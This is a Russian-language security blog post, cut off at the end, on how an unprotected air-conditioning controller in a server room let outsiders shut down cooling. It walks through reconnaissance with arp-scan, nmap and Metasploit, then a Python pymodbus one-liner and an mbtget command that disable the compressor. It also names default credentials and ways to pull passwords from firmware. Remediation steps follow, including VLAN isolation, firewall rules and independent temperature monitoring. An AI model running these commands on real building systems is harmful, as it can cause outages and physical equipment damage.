CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Как незащищённый кондиционер трижды останавливал производство: разбор атаки на инженерные системы серверной

Взломать 1С и сервер учёта заказов — долго. Гораздо быстрее отправить одну незашифрованную команду блоку управления климат-контролем — и сервер выключится сам, без единого вредоносного байта на диске.

Разбор CIOlogia

История, которую мы уже кратко разбирали: производственная компания месяцами боролась с «необъяснимыми» зависаниями сервера. ИТ-подрядчик проверял диски, антивирус, логи Windows — всё чисто. Проблема оказалась не в сервере, а в инженерке рядом с ним: старом блоке управления кондиционером в серверной, который годами висел в общей сети предприятия без пароля и шифрования. Разберём этот случай глубже — с точки зрения того, как именно такая дыра эксплуатируется на практике и почему она типична не только для маленьких цехов, но и для крупных дата-центров.

Контекст: почему BMS и HVAC — любимая цель, а не сервер

Системы управления зданием (BMS — Building Management System) и климат-контролем почти никогда не проектировались с оглядкой на сетевую безопасность. Их делали инженеры-энергетики для инженеров-энергетиков: удобство диагностики и дешевизна важнее аутентификации. Отсюда и статистика, которая регулярно всплывает в отраслевых отчётах: около 90% систем управления зданиями дата-центров используют протоколы без встроенного шифрования и аутентификации — BACnet/IP, Modbus TCP, устаревшие версии SNMP (v1/v2c с community string «public»), иногда голый Telnet или HTTP без TLS.

В разобранном кейсе блок управления кондиционером был установлен при ремонте офиса примерно пять лет назад, подключён к общей локальной сети «для удобства мониторинга» и с тех пор ни разу не переносился в отдельный VLAN. Доступ к нему был возможен даже с гостевого Wi-Fi для подрядчиков — то есть фактически с улицы, через любое устройство посетителя.

Как это эксплуатируется

Атака на такую инфраструктуру не требует эксплойтов нулевого дня — достаточно базовой сетевой разведки и штатных протоколов управления. Вот типичный сценарий, который проходит любой пентестер за первые 30–40 минут на объекте.

Шаг 1. Разведка сети из гостевого сегмента

Подключаемся к гостевому Wi-Fi (или к розетке переговорки — часто в такой сети нет даже client isolation) и смотрим, что видно вокруг:

arp-scan --localnet
Interface: wlan0, type: EN10MB, MAC: aa:bb:cc:dd:ee:ff, IPv4: 192.168.10.87
192.168.10.1    d0:50:99:xx:xx:xx  TP-Link
192.168.10.12   00:1a:2b:xx:xx:xx  Dell Inc.        (сервер 1С)
192.168.10.55   00:0e:8c:xx:xx:xx  Carel S.p.A.     (контроллер HVAC)
192.168.10.60   b8:27:eb:xx:xx:xx  Hikvision        (камера)

MAC-вендор уже подсказывает, что 192.168.10.55 — это не рабочая станция, а промышленный контроллер (в реальных кейсах чаще всего встречаются Carel pCOWeb, Danfoss, Honeywell или безымянные китайские BMS-шлюзы).

Шаг 2. Сканирование протоколов управления

nmap -sV -p 21,23,80,161,502,47808 192.168.10.55

PORT      STATE SERVICE     VERSION
23/tcp    open  telnet      Carel pCOWeb telnetd
80/tcp    open  http        Boa httpd 0.94.14rc21 (embedded)
161/udp   open  snmp        SNMPv1/v2c (community: public)
502/tcp   open  modbus      Modbus TCP (unit id 1)
47808/udp open  bacnet      BACnet/IP device

Заголовок веб-интерфейса нередко прямо отдаёт версию прошивки:

curl -s -I http://192.168.10.55/
HTTP/1.1 200 OK
Server: Boa/0.94.14rc21
WWW-Authenticate: none

Строка WWW-Authenticate: none — это уже приговор: панель управления открыта без какой-либо проверки прав.

Шаг 3. Проверка через Metasploit и специализированные скрипты

msf6 > use auxiliary/scanner/bacnet/bacnet_props
msf6 auxiliary(bacnet_props) > set RHOSTS 192.168.10.55
msf6 auxiliary(bacnet_props) > run

[+] 192.168.10.55:47808 - Vendor: Carel  Model: pCOWeb  FW: 3.2.1
[+] 192.168.10.55:47808 - Device supports remote Write-Property (no auth)

Устройство подтверждает, что принимает команду Write-Property — то есть удалённую запись значений (включая выключение компрессора кондиционера) без единого пароля.

Шаг 4. Отправка команды на отключение охлаждения

Через Modbus это делается буквально одной строкой на Python с библиотекой pymodbus:

python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.10.55')
c.connect()
c.write_register(40001, 0)   # регистр 'compressor enable' -> 0
c.close()
"

Или тем же результатом через утилиту mbtget:

mbtget -w -r4 -a1 -v 0 192.168.10.55
Send: unit_id 1, function 6, register 40001, value 0
Reply: OK

С этого момента компрессор выключен, но климат-система физически продолжает считать, что всё в порядке — никакой аварийной сигнализации не срабатывает, потому что мониторинг температуры был завязан на тот же незащищённый контроллер.

Полутехнические пруфы: что обычно находят в подобных инсталляциях

  • Прошивки контроллеров HVAC/BMS годами не обновляются — в дикой природе до сих пор встречаются устройства с известными CVE, например CVE-2015-6478 (Carel pCOWeb, учётные данные по умолчанию admin/fadmin) и CVE-2013-0138/0139 (Tridium Niagara AX, обход аутентификации веб-панели).
  • SNMP-сообщества по умолчанию (public/private) позволяют не только читать, но и на части устройств писать OID-параметры через snmpset.
  • BACnet/IP и Modbus TCP в принципе не предусматривают аутентификации в базовой спецификации — это заложено в протокол, а не баг конкретной прошивки.
  • В логах атака практически не оставляет следов: BACnet и Modbus не пишут событий безопасности, а системный журнал сервера фиксирует только итог — «Thermal Shutdown» или «CPU over temperature» без указания причины.
  • Гостевые Wi-Fi сети в малом и среднем бизнесе в 8 из 10 случаев не имеют client isolation и находятся в одном L2-сегменте с производственной инфраструктурой.

Что и почему сработало бы дальше

В разобранном случае злоумышленнику даже не пришлось бы атаковать сервер напрямую — цель (остановка отгрузок, DoS для бизнеса) достигается через инженерку. Но у сценария есть и продолжение, если задача — не просто навредить, а закрепиться в сети:

  • Латеральное перемещение. Контроллер HVAC часто хранит SNMP community и учётные данные к соседним VLAN в открытом конфиге — strings /tmp/config.bin | grep -i pass после скачивания прошивки через TFTP нередко даёт пароли администратора от других систем здания.
  • Перехват управления как рычаг для вымогательства. Отключение охлаждения по расписанию («шантаж климатом») — рабочая схема давления на бизнес: остановка выглядит как «случайная поломка», расследовать которую ИТ-подрядчик будет неделями.
  • Физический ущерб оборудованию. При перегреве до критических значений диски и блоки питания сервера деградируют необратимо — это уже не только простой, но и прямые расходы на замену железа и риск потери данных при аварийном отключении посреди операции записи в БД.

Как закрыть

Устранение подобной дыры не требует замены оборудования — достаточно изолировать его на сетевом уровне и включить контроль доступа. Это именно то, что было сделано в разобранном кейсе за два дня.

1. Вынести инженерку в отдельный VLAN

# Пример на MikroTik: отдельный VLAN для BMS/HVAC
/interface vlan add name=vlan99-bms interface=ether1 vlan-id=99
/ip address add address=192.168.99.1/24 interface=vlan99-bms

# Запрет доступа из гостевой сети и офисного VLAN к VLAN 99
/ip firewall filter add chain=forward src-address=192.168.20.0/24 \
    dst-address=192.168.99.0/24 action=drop comment="Guest -> BMS DENY"
/ip firewall filter add chain=forward src-address=192.168.10.0/24 \
    dst-address=192.168.99.0/24 action=drop comment="Office -> BMS DENY"

2. Разрешить управление только с конкретных админ-хостов

/ip firewall filter add chain=forward src-address=192.168.99.5 \
    dst-address=192.168.99.0/24 action=accept comment="Admin PC -> BMS ALLOW"
/ip firewall filter add chain=forward dst-address=192.168.99.0/24 action=drop \
    comment="Deny all other to BMS"

3. Отключить небезопасные протоколы там, где это возможно

  • Сменить SNMP community по умолчанию, перейти на SNMPv3 с аутентификацией и шифрованием.
  • Отключить Telnet-доступ к контроллеру, оставить только SSH или защищённую веб-панель по HTTPS.
  • Если прошивка поддерживает BACnet Secure Connect (BACnet/SC) — включить его вместо открытого BACnet/IP.

4. Настроить мониторинг температуры независимо от самого контроллера

# Пример проверки Zabbix через отдельный температурный датчик (не сам HVAC-блок)
UserParameter=server.temp,cat /sys/class/thermal/thermal_zone0/temp

# Триггер: алерт при превышении 45°C, отправка в мессенджер через webhook

В разобранном кейсе такой алерт был настроен на отправку в корпоративный мессенджер руководителю и админу — при отклонении температуры сообщение приходит раньше, чем сервер уйдёт в аварийное отключение.

5. Резервный контур охлаждения

Второй независимый кондиционер или хотя бы принудительная вентиляция с автономным термостатом снимает единую точку отказа: даже если основной контур внезапно выключат — по злому умыслу или из-за очередного «залипания» реле — у сервера есть время на штатное завершение работы вместо аварийного отказа.

Масштаб проблемы за пределами одного цеха

Похожая картина встречается не только на малых производствах, но и в крупных дата-центрах: BMS и HVAC там управляются теми же протоколами без шифрования, просто цена ошибки измеряется не прост